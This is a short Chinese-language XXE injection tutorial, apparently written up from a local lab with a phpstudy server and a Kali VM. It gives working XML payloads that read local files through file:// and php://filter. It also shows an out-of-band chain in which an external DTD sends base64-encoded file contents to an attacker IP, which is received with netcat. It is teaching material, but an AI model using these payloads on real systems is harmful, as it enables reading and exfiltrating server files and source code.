查看回显:提交一个正常的xml数据
<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY xxe "彦祖你好"> ]>
<name>&xxe;</name>
payload中 &xxe; 是用来将xxe这个实体进行调用,xxe实体成功在前端回显
查看文件:读取服务器/本地文件(事先创建一个文本文件)
提交的payload如下利用file://协议就能看到服务器/主机上的该文件的文件内容
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///D://phpstudy_pro//WWW//target.txt"> ]>
<x>&xxe;</x>
查看源码:利用php://协议的filter过滤器以base64格式读取服务器/本地文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/target.php">
]>
<ANY>&xxe;</ANY>
DTD外部调用:
1.模拟文件准备 在D盘根目录新建一个66.txt 文件中随便输入内容
2.在www目录下新建一个my.dtd文件输入代码
文件在路径为"D:\phpstudy_pro\WWW\evil.dtd"
代码中指定的IP地址为kali虚拟机的8888端口
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://192.168.87.128:8888/?%file;'>">
%start;
3、xml.txt文件的内容
其中指定的IP地址为自己本机的ip
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://172.16.2.65/evil.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/phpstudy_pro/WWW/66.txt"> %remote;
%send;]>
4打开kali监听8886端口,命令为nc -lvvp 8888
5.提交代码后,kali会监听
6.解码后可查看内容